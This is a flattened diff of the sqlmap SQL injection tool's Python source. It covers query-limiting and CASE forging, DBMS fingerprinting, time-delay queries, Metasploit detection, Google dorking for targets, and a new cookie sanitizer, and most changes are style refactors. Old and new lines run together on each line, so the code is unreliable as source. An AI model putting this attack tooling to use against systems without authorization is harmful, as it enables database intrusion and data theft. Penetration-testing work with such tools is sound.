Take in input a query string and return its limited query string. Take in input a query string and return its limited query string.
@ -529,7 +516,7 @@ class Agent:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True: if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery: if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field) limitedQuery = "%s AND %s " % (limitedQuery, field)
@ -540,7 +527,6 @@ class Agent:
return limitedQuery return limitedQuery
def forgeCaseStatement(self, expression): def forgeCaseStatement(self, expression):
""" """
Take in input a query string and return its CASE statement query Take in input a query string and return its CASE statement query
@ -560,6 +546,5 @@ class Agent:
return queries[kb.dbms].case % expression return queries[kb.dbms].case % expression
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import random import random
import re import re
@ -32,10 +30,7 @@ import string
import sys import sys
import time import time
import urlparse import urlparse
from lib.contrib import magic from lib.contrib import magic
from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def formatDBMSfp(versions=None): def formatDBMSfp(versions=None):
""" """
This function format the back-end DBMS fingerprint value and return its This function format the back-end DBMS fingerprint value and return its
@ -139,13 +133,11 @@ def formatDBMSfp(versions=None):
return kb.dbms return kb.dbms
def formatFingerprintString(values, chain=" or "): def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values]) strJoin = "|".join([v for v in values])
return strJoin.replace("|", chain) return strJoin.replace("|", chain)
def formatFingerprint(target, info): def formatFingerprint(target, info):
""" """
This function format the back-end operating system fingerprint value This function format the back-end operating system fingerprint value
@ -198,7 +190,6 @@ def formatFingerprint(target, info):
return infoStr return infoStr
def getHtmlErrorFp(): def getHtmlErrorFp():
""" """
This function parses the knowledge base htmlFp list and return its This function parses the knowledge base htmlFp list and return its
@ -222,7 +213,6 @@ def getHtmlErrorFp():
return htmlParsed return htmlParsed
def getDocRoot(): def getDocRoot():
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path) pagePath = os.path.dirname(conf.path)
@ -236,7 +226,7 @@ def getDocRoot():
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
absFilePathWin = None absFilePathWin = None
if re.search("([\w]\:[\/\\\\]+)", absFilePath): if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
absFilePathWin = absFilePath absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/") absFilePath = absFilePath[2:].replace("\\", "/")
@ -269,7 +259,6 @@ def getDocRoot():
return docRoot return docRoot
def getDirs(): def getDirs():
directories = set() directories = set()
@ -305,33 +294,28 @@ def getDirs():
directories.add(defaultDir) directories.add(defaultDir)
return directories return directories
def filePathToString(filePath): def filePathToString(filePath):
strRepl = filePath.replace("/", "_").replace("\\", "_") strRepl = filePath.replace("/", "_").replace("\\", "_")
strRepl = strRepl.replace(" ", "_").replace(":", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_")
return strRepl return strRepl
def dataToStdout(data): def dataToStdout(data):
sys.stdout.write(data) sys.stdout.write(data)
sys.stdout.flush() sys.stdout.flush()
def dataToSessionFile(data): def dataToSessionFile(data):
if not conf.sessionFile: if not conf.sessionFile:
return return
conf.sessionFP.write(data) conf.sessionFP.write(data)
conf.sessionFP.flush() conf.sessionFP.flush()
def dataToDumpFile(dumpFile, data): def dataToDumpFile(dumpFile, data):
dumpFile.write(data) dumpFile.write(data)
dumpFile.flush() dumpFile.flush()
def dataToOutFile(data): def dataToOutFile(data):
if not data: if not data:
return "No data retrieved" return "No data retrieved"
@ -346,7 +330,6 @@ def dataToOutFile(data):
return rFilePath return rFilePath
def strToHex(inpStr): def strToHex(inpStr):
""" """
@param inpStr: inpStr to be converted into its hexadecimal value. @param inpStr: inpStr to be converted into its hexadecimal value.
@ -369,8 +352,7 @@ def strToHex(inpStr):
hexStr += hexChar hexStr += hexChar
return hexStr return hexStr
def fileToStr(fileName): def fileToStr(fileName):
""" """
@param fileName: file path to read the content and return as a no @param fileName: file path to read the content and return as a no
@ -384,13 +366,7 @@ def fileToStr(fileName):
filePointer = open(fileName, "r") filePointer = open(fileName, "r")
fileText = filePointer.read() fileText = filePointer.read()
fileText = fileText.replace(" ", "") return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
fileText = fileText.replace("\t", "")
fileText = fileText.replace("\r", "")
fileText = fileText.replace("\n", " ")
return fileText
def fileToHex(fileName): def fileToHex(fileName):
""" """
@ -407,7 +383,6 @@ def fileToHex(fileName):
return hexFile return hexFile
def readInput(message, default=None): def readInput(message, default=None):
""" """
@param message: message to display on terminal. @param message: message to display on terminal.
@ -435,8 +410,7 @@ def readInput(message, default=None):
data = default data = default
return data return data
def randomRange(start=0, stop=1000): def randomRange(start=0, stop=1000):
""" """
@param start: starting number. @param start: starting number.
@ -451,7 +425,6 @@ def randomRange(start=0, stop=1000):
return int(random.randint(start, stop)) return int(random.randint(start, stop))
def randomInt(length=4): def randomInt(length=4):
""" """
@param length: length of the random string. @param length: length of the random string.
@ -463,7 +436,6 @@ def randomInt(length=4):
return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5, lowercase=False): def randomStr(length=5, lowercase=False):
""" """
@param length: length of the random string. @param length: length of the random string.
@ -473,14 +445,13 @@ def randomStr(length=5, lowercase=False):
@rtype: C{str} @rtype: C{str}
""" """
if lowercase == True: if lowercase:
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)]) rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
else: else:
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)]) rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
return rndStr return rndStr
def sanitizeStr(inpStr): def sanitizeStr(inpStr):
""" """
@param inpStr: inpStr to sanitize: cast to str datatype and replace @param inpStr: inpStr to sanitize: cast to str datatype and replace
@ -496,7 +467,6 @@ def sanitizeStr(inpStr):
return cleanString return cleanString
def checkFile(filename): def checkFile(filename):
""" """
@param filename: filename to check if it exists. @param filename: filename to check if it exists.
@ -505,15 +475,13 @@ def checkFile(filename):
if not os.path.exists(filename): if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(inpStr): def replaceNewlineTabs(inpStr):
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__") replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString return replacedString
def banner(): def banner():
""" """
This function prints sqlmap banner with its version This function prints sqlmap banner with its version
@ -523,8 +491,7 @@ def banner():
%s %s
by Bernardo Damele A. G. <bernardo.damele@gmail.com> by Bernardo Damele A. G. <bernardo.damele@gmail.com>
""" % VERSION_STRING """ % VERSION_STRING
def parsePasswordHash(password): def parsePasswordHash(password):
blank = " " * 8 blank = " " * 8
@ -542,8 +509,7 @@ def parsePasswordHash(password):
password += "%suppercase: %s" % (blank, hexPassword[54:]) password += "%suppercase: %s" % (blank, hexPassword[54:])
return password return password
def cleanQuery(query): def cleanQuery(query):
upperQuery = query upperQuery = query
@ -556,8 +522,7 @@ def cleanQuery(query):
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper()) upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery return upperQuery
def setPaths(): def setPaths():
# sqlmap paths # sqlmap paths
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib") paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
@ -581,8 +546,7 @@ def setPaths():
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
def weAreFrozen(): def weAreFrozen():
""" """
Returns whether we are frozen via py2exe. Returns whether we are frozen via py2exe.
@ -592,7 +556,6 @@ def weAreFrozen():
return hasattr(sys, "frozen") return hasattr(sys, "frozen")
def parseTargetUrl(): def parseTargetUrl():
""" """
Parse target url and set some attributes into the configuration Parse target url and set some attributes into the configuration
@ -623,11 +586,10 @@ def parseTargetUrl():
conf.port = 80 conf.port = 80
if __urlSplit[3]: if __urlSplit[3]:
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%") conf.parameters["GET"] = __urlSplit[3]
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path) conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
def expandAsteriskForColumns(expression): def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s) # If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess # name, sqlmap will retrieve the columns itself and reprocess
@ -659,8 +621,7 @@ def expandAsteriskForColumns(expression):
logger.info(infoMsg) logger.info(infoMsg)
return expression return expression
def getRange(count, dump=False, plusOne=False): def getRange(count, dump=False, plusOne=False):
count = int(count) count = int(count)
indexRange = None indexRange = None
@ -674,14 +635,13 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne == True: if kb.dbms == "Oracle" or plusOne:
indexRange = range(limitStart, limitStop + 1) indexRange = range(limitStart, limitStop + 1)
else: else:
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
return indexRange return indexRange
def parseUnionPage(output, expression, partial=False, condition=None, sort=True): def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
data = [] data = []
@ -696,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
output = re.findall(regExpr, output, re.S) output = re.findall(regExpr, output, re.S)
if condition == None: if condition is None:
condition = ( condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys() kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys() and expression in kb.resumedQueries[conf.url].keys()
@ -731,27 +691,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
data = data[0] data = data[0]
return data return data
def getDelayQuery(): def getDelayQuery():
query = None query = None
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ("MySQL", "PostgreSQL"):
if not kb.data.banner: if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner() conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] banVer = kb.bannerFp["dbmsVersion"]
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ): if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec query = queries[kb.dbms].timedelay % conf.timeSec
else: else:
query = queries[kb.dbms].timedelay2 % conf.timeSec query = queries[kb.dbms].timedelay2 % conf.timeSec
else: else:
query = queries[kb.dbms].timedelay % conf.timeSec query = queries[kb.dbms].timedelay % conf.timeSec
return query return query
def getLocalIP(): def getLocalIP():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port)) s.connect((conf.hostname, conf.port))
@ -760,11 +718,9 @@ def getLocalIP():
return ip return ip
def getRemoteIP(): def getRemoteIP():
return socket.gethostbyname(conf.hostname) return socket.gethostbyname(conf.hostname)
def getFileType(filePath): def getFileType(filePath):
try: try:
magicFileType = magic.from_file(filePath) magicFileType = magic.from_file(filePath)
@ -775,8 +731,7 @@ def getFileType(filePath):
return "text" return "text"
else: else:
return "binary" return "binary"
def pollProcess(process): def pollProcess(process):
while True: while True:
dataToStdout(".") dataToStdout(".")
@ -793,12 +748,11 @@ def pollProcess(process):
dataToStdout(" quit unexpectedly with return code %d\n" % returncode) dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break break
def getCharset(charsetType=None): def getCharset(charsetType=None):
asciiTbl = [] asciiTbl = []
if charsetType == None: if charsetType is None:
asciiTbl = range(0, 128) asciiTbl = range(0, 128)
# 0 or 1 # 0 or 1
@ -832,22 +786,49 @@ def getCharset(charsetType=None):
asciiTbl.extend(range(96, 123)) asciiTbl.extend(range(96, 123))
return asciiTbl return asciiTbl
def searchEnvPath(fileName): def searchEnvPath(fileName):
envPaths = os.environ["PATH"] envPaths = os.environ["PATH"]
result = None result = None
if IS_WIN is True: if IS_WIN:
envPaths = envPaths.split(";") envPaths = envPaths.split(";")
else: else:
envPaths = envPaths.split(":") envPaths = envPaths.split(":")
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName))) result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
if result == True: if result:
break break
return result return result
def sanitizeCookie(cookieStr, warn=False):
if cookieStr:
result = ""
changed = False
for part in cookieStr.split(';'):
index = part.find('=') + 1
if index > 0:
name = part[:index - 1].strip()
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
if value != part[index:]:
changed = True
result += ";%s=%s" % (name, value)
elif part.strip().lower() != "secure":
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
else:
result += ";secure"
if result.startswith(';'):
result = result[1:]
elif result.startswith('%3B'):
result = result[3:]
if changed and warn:
warnMsg = "cookie is provided in HTTP unsafe format containing one "
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
logger.warn(warnMsg)
return result
else:
return None

View File

@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import md5 import md5
import sha import sha
import struct import struct
import urllib import urllib
def base64decode(string): def base64decode(string):
return string.decode("base64") return string.decode("base64")
def base64encode(string): def base64encode(string):
return string.encode("base64")[:-1] return string.encode("base64")[:-1]
def hexdecode(string): def hexdecode(string):
string = string.lower() string = string.lower()
@ -44,45 +40,40 @@ def hexdecode(string):
string = string[2:] string = string[2:]
return string.decode("hex") return string.decode("hex")
def hexencode(string): def hexencode(string):
return string.encode("hex") return string.encode("hex")
def md5hash(string): def md5hash(string):
return md5.new(string).hexdigest() return md5.new(string).hexdigest()
def orddecode(string): def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string) packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)]) return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
def ordencode(string): def ordencode(string):
return tuple([ord(char) for char in string]) return tuple([ord(char) for char in string])
def sha1hash(string): def sha1hash(string):
return sha.new(string).hexdigest() return sha.new(string).hexdigest()
def urldecode(string): def urldecode(string):
if not string: result = None
return
if string:
doublePercFreeString = string.replace("%%", "__DPERC__") result = urllib.unquote_plus(string)
unquotedString = urllib.unquote_plus(doublePercFreeString)
unquotedString = unquotedString.replace("__DPERC__", "%%")
return unquotedString
return result
def urlencode(string, safe=":/?%&=", convall=False): def urlencode(string, safe=":/?%&=", convall=False):
if not string: result = None
return
if convall == True: if string is None:
return urllib.quote(string) return result
if convall:
result = urllib.quote(string)
else: else:
return urllib.quote(string, safe) result = urllib.quote(string, safe)
return result

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.datatype import advancedDict from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER from lib.core.settings import LOGGER

View File

@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.exception import sqlmapDataException from lib.core.exception import sqlmapDataException
class advancedDict(dict): class advancedDict(dict):
""" """
This class defines the sqlmap object, inheriting from Python data This class defines the sqlmap object, inheriting from Python data
@ -45,7 +43,6 @@ class advancedDict(dict):
# After initialisation, setting attributes # After initialisation, setting attributes
# is the same as setting an item # is the same as setting an item
def __getattr__(self, item): def __getattr__(self, item):
""" """
Maps values to attributes Maps values to attributes
@ -57,7 +54,6 @@ class advancedDict(dict):
except KeyError: except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item raise sqlmapDataException, "Unable to access item '%s'" % item
def __setattr__(self, item, value): def __setattr__(self, item, value):
""" """
Maps attributes to values Maps attributes to values

View File

@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re
import os import os
import re
from lib.core.common import dataToDumpFile from lib.core.common import dataToDumpFile
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
class Dump: class Dump:
""" """
This class defines methods used to parse and output the results This class defines methods used to parse and output the results
@ -42,8 +39,7 @@ class Dump:
def __init__(self): def __init__(self):
self.__outputFile = None self.__outputFile = None
self.__outputFP = None self.__outputFP = None
def __write(self, data, n=True): def __write(self, data, n=True):
if n: if n:
print data print data
@ -55,13 +51,11 @@ class Dump:
self.__outputFP.flush() self.__outputFP.flush()
conf.loggedToOut = True conf.loggedToOut = True
def setOutputFile(self): def setOutputFile(self):
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep) self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
self.__outputFP = open(self.__outputFile, "a") self.__outputFP = open(self.__outputFile, "a")
def string(self, header, data, sort=True): def string(self, header, data, sort=True):
if isinstance(data, (list, tuple, set)): if isinstance(data, (list, tuple, set)):
self.lister(header, data, sort) self.lister(header, data, sort)
@ -81,13 +75,12 @@ class Dump:
self.__write("%s: '%s'\n" % (header, data)) self.__write("%s: '%s'\n" % (header, data))
else: else:
self.__write("%s:\tNone\n" % header) self.__write("%s:\tNone\n" % header)
def lister(self, header, elements, sort=True): def lister(self, header, elements, sort=True):
if elements: if elements:
self.__write("%s [%d]:" % (header, len(elements))) self.__write("%s [%d]:" % (header, len(elements)))
if sort == True: if sort:
try: try:
elements = set(elements) elements = set(elements)
elements = list(elements) elements = list(elements)
@ -103,8 +96,7 @@ class Dump:
if elements: if elements:
self.__write("") self.__write("")
def userSettings(self, header, userSettings, subHeader): def userSettings(self, header, userSettings, subHeader):
self.__areAdmins = set() self.__areAdmins = set()
@ -131,8 +123,7 @@ class Dump:
for setting in settings: for setting in settings:
self.__write(" %s: %s" % (subHeader, setting)) self.__write(" %s: %s" % (subHeader, setting))
print print
def dbTables(self, dbTables): def dbTables(self, dbTables):
if not isinstance(dbTables, dict): if not isinstance(dbTables, dict):
self.string("tables", dbTables) self.string("tables", dbTables)
@ -164,8 +155,7 @@ class Dump:
self.__write("| %s%s |" % (table, blank)) self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines) self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns): def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items(): for db, tables in tableColumns.items():
if not db: if not db:
@ -210,8 +200,7 @@ class Dump:
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2)) self.__write("+%s+%s+\n" % (lines1, lines2))
def dbTableValues(self, tableValues): def dbTableValues(self, tableValues):
db = tableValues["__infos__"]["db"] db = tableValues["__infos__"]["db"]
if not db: if not db:
@ -306,7 +295,6 @@ class Dump:
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
# object to manage how to print the retrieved queries output to # object to manage how to print the retrieved queries output to
# standard output and sessions file # standard output and sessions file
dumper = Dump() dumper = Dump()

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
from lib.core.settings import VERSION from lib.core.settings import VERSION
@ -33,67 +31,51 @@ from lib.core.settings import VERSION_STRING
class sqlmapConnectionException(Exception): class sqlmapConnectionException(Exception):
pass pass
class sqlmapDataException(Exception): class sqlmapDataException(Exception):
pass pass
class sqlmapFilePathException(Exception): class sqlmapFilePathException(Exception):
pass pass
class sqlmapGenericException(Exception): class sqlmapGenericException(Exception):
pass pass
class sqlmapMissingDependence(Exception): class sqlmapMissingDependence(Exception):
pass pass
class sqlmapMissingMandatoryOptionException(Exception): class sqlmapMissingMandatoryOptionException(Exception):
pass pass
class sqlmapMissingPrivileges(Exception): class sqlmapMissingPrivileges(Exception):
pass pass
class sqlmapNoneDataException(Exception): class sqlmapNoneDataException(Exception):
pass pass
class sqlmapNotVulnerableException(Exception): class sqlmapNotVulnerableException(Exception):
pass pass
class sqlmapRegExprException(Exception): class sqlmapRegExprException(Exception):
pass pass
class sqlmapSyntaxException(Exception): class sqlmapSyntaxException(Exception):
pass pass
class sqlmapThreadException(Exception): class sqlmapThreadException(Exception):
pass pass
class sqlmapUndefinedMethod(Exception): class sqlmapUndefinedMethod(Exception):
pass pass
class sqlmapUnsupportedDBMSException(Exception): class sqlmapUnsupportedDBMSException(Exception):
pass pass
class sqlmapUnsupportedFeatureException(Exception): class sqlmapUnsupportedFeatureException(Exception):
pass pass
class sqlmapValueException(Exception): class sqlmapValueException(Exception):
pass pass
def unhandledException(): def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail " errMsg += "the command line and the following text and send by e-mail "
@ -103,7 +85,6 @@ def unhandledException():
errMsg += "Operating system: %s" % PLATFORM errMsg += "Operating system: %s" % PLATFORM
return errMsg return errMsg
exceptionsTuple = ( exceptionsTuple = (
sqlmapConnectionException, sqlmapConnectionException,
sqlmapDataException, sqlmapDataException,

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import cookielib import cookielib
import ctypes import ctypes
import difflib import difflib
@ -40,6 +38,7 @@ from lib.core.common import getFileType
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import sanitizeCookie
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler from lib.request.proxy import ProxyHTTPSHandler
from lib.utils.google import Google from lib.utils.google import Google
authHandler = urllib2.BaseHandler() authHandler = urllib2.BaseHandler()
proxyHandler = urllib2.BaseHandler() proxyHandler = urllib2.BaseHandler()
def __urllib2Opener(): def __urllib2Opener():
""" """
This function creates the urllib2 OpenerDirector. This function creates the urllib2 OpenerDirector.
@ -85,13 +82,15 @@ def __urllib2Opener():
debugMsg = "creating HTTP requests opener object" debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = cookielib.LWPCookieJar() if conf.dropSetCookie:
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) opener = urllib2.build_opener(proxyHandler, authHandler)
else:
conf.cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
urllib2.install_opener(opener) urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls): def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r") fp = open(reqFile, "r")
@ -173,7 +172,6 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
kb.targetUrls.add(( url, method, data, cookie )) kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url) addedTargetUrls.add(url)
def __setMultipleTargets(): def __setMultipleTargets():
""" """
Define a configuration parameter if we are running in multiple target Define a configuration parameter if we are running in multiple target
@ -218,7 +216,6 @@ def __setMultipleTargets():
infoMsg += "testable requests from the targets list" infoMsg += "testable requests from the targets list"
logger.info(infoMsg) logger.info(infoMsg)
def __setGoogleDorking(): def __setGoogleDorking():
""" """
This function checks if the way to request testable hosts is through This function checks if the way to request testable hosts is through
@ -266,7 +263,6 @@ def __setGoogleDorking():
errMsg += "have GET parameters to test for SQL injection" errMsg += "have GET parameters to test for SQL injection"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setMetasploit(): def __setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof: if not conf.osPwn and not conf.osSmb and not conf.osBof:
return return
@ -276,7 +272,7 @@ def __setMetasploit():
msfEnvPathExists = False msfEnvPathExists = False
if IS_WIN is True: if IS_WIN:
warnMsg = "Metasploit's msfconsole and msfcli are not supported " warnMsg = "Metasploit's msfconsole and msfcli are not supported "
warnMsg += "on the native Windows Ruby interpreter. Please " warnMsg += "on the native Windows Ruby interpreter. Please "
warnMsg += "install Metasploit, Python interpreter and sqlmap on " warnMsg += "install Metasploit, Python interpreter and sqlmap on "
@ -300,7 +296,7 @@ def __setMetasploit():
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0: if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
isAdmin = True isAdmin = True
elif IS_WIN is True: elif IS_WIN:
isAdmin = ctypes.windll.shell32.IsUserAnAdmin() isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1: if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
@ -349,14 +345,14 @@ def __setMetasploit():
warnMsg += "Framework 3 is installed" warnMsg += "Framework 3 is installed"
logger.warn(warnMsg) logger.warn(warnMsg)
if msfEnvPathExists != True: if not msfEnvPathExists:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 " warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths" warnMsg += "installation into the environment paths"
logger.warn(warnMsg) logger.warn(warnMsg)
envPaths = os.environ["PATH"] envPaths = os.environ["PATH"]
if IS_WIN is True: if IS_WIN:
envPaths = envPaths.split(";") envPaths = envPaths.split(";")
else: else:
envPaths = envPaths.split(":") envPaths = envPaths.split(":")
@ -379,12 +375,11 @@ def __setMetasploit():
break break
if msfEnvPathExists != True: if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework 3 installation. " errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/" errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException, errMsg
def __setWriteFile(): def __setWriteFile():
if not conf.wFile: if not conf.wFile:
return return
@ -403,9 +398,8 @@ def __setWriteFile():
conf.wFileType = getFileType(conf.wFile) conf.wFileType = getFileType(conf.wFile)
def __setUnionTech(): def __setUnionTech():
if conf.uTech == None: if conf.uTech is None:
conf.uTech = "NULL" conf.uTech = "NULL"
return return
@ -428,7 +422,6 @@ def __setUnionTech():
debugMsg += "'%s'" % uTechOriginal debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg) logger.debug(debugMsg)
def __setOS(): def __setOS():
""" """
Force the back-end DBMS operating system option. Force the back-end DBMS operating system option.
@ -451,7 +444,6 @@ def __setOS():
errMsg += "you." errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS(): def __setDBMS():
""" """
Force the back-end DBMS option. Force the back-end DBMS option.
@ -482,12 +474,10 @@ def __setDBMS():
errMsg += "fingerprint it for you." errMsg += "fingerprint it for you."
